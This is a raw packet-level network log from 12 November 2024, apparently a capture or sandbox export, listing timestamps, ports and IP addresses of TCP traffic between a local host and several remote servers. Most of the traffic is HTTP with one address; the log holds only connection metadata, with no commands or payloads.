Nov 12, 2024 17:07:54.494443893 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.504344940 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.504371881 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.504419088 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.504424095 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.504522085 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.507594109 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.507608891 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.507622004 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.507627964 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.508189917 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508208990 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508217096 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508243084 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508254051 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508261919 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508268118 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.508280993 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.508312941 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.508331060 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.514518023 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.514550924 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.514708042 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.519567013 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.519584894 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.540991068 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541014910 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541023016 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541038990 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541048050 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541054964 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541074038 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.541090965 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.541110039 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.541131020 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.547327042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547348976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547360897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547380924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547388077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547406912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547440052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547451019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547461987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547492027 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547517061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547528982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547564983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547647953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547663927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547677040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547719955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547805071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547818899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547832012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547846079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547852993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547859907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547873974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547877073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.547883034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.547909021 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548063040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548114061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548126936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548170090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548183918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548204899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548218966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548233032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548239946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548249006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548254967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548274994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548288107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548443079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548454046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548470020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548481941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548489094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548495054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548502922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548510075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548531055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548544884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548696041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548710108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548726082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548746109 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548784971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548835039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548846960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548857927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548872948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548886061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.548894882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.548922062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.562129974 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.578553915 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:54.578567982 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:54.578856945 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:54.579076052 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:54.579087973 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:54.603771925 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.609935999 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.609961033 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.610034943 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.610043049 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.610085964 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.610095024 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.610142946 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.610184908 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.625185966 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.625197887 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.625232935 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.625300884 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.625317097 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.625346899 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.625368118 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.625701904 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.625782013 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.630623102 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.630644083 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.630723953 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.630736113 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.640798092 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.640873909 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.640945911 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.644762993 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.644769907 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.645445108 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.645448923 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.652829885 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.655292988 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.655325890 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.656315088 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.656321049 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.665715933 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.665736914 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.665781021 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.665790081 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.665808916 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.665822983 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.665838957 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.665843964 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.665882111 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.668431044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668448925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668461084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668500900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.668540955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.668703079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668718100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668730021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668745041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.668745041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668759108 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.668761969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668782949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.668808937 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.668843031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.668855906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669019938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669040918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669042110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669055939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669058084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669071913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669074059 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669087887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669090033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669104099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669107914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669125080 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669126987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669136047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669141054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669157982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669168949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669183969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669199944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669205904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669220924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669228077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669235945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669241905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669258118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669265985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669270039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669286013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669287920 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669298887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669301033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669317007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669325113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669331074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669344902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669353962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669358969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669373035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669380903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669392109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669394970 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669408083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669420958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669423103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669431925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669464111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669558048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669570923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669614077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669744968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669759035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669770002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669785023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669796944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669809103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669810057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669820070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669850111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.669884920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.669970989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.670051098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670063019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670078993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670089960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670100927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.670104027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670118093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.670144081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.670228958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670245886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670258045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670270920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670279980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.670284986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670299053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.670311928 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.670329094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.725826025 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.725861073 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.725924015 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.725939989 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.725975990 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.725992918 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.740771055 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.740799904 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:54.741029978 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.741378069 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.741393089 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:54.741575956 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.742379904 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.742422104 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.742672920 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.742697954 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.742746115 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.742759943 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.742794991 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.742809057 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.743983984 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.744019032 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:54.744263887 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.745359898 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.745373964 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:54.746028900 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.746037006 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.770210028 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.770262003 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.770421028 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.770551920 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.770570993 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.770584106 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.770590067 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.773137093 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.773181915 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.773353100 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.773490906 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.773509026 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.781997919 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.782099009 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.782299995 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.782543898 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.782557011 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.782562017 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.782567024 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.784924030 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.784965038 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.785202980 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.785326958 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.785341978 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.786498070 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786520958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786531925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786583900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786619902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786637068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786645889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786648989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786663055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786691904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786742926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786789894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786802053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786813021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786833048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786844015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786848068 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786865950 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786900043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.786940098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786964893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786978960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.786989927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787004948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787020922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787022114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787060976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787137985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787157059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787173033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787189007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787198067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787220955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787349939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787364006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787375927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787394047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787400007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787400007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787440062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787600994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787616014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787636995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787642956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787656069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787671089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787678003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787678003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787694931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787727118 CET	49859	80	192.168.2.6	185.215.113.206
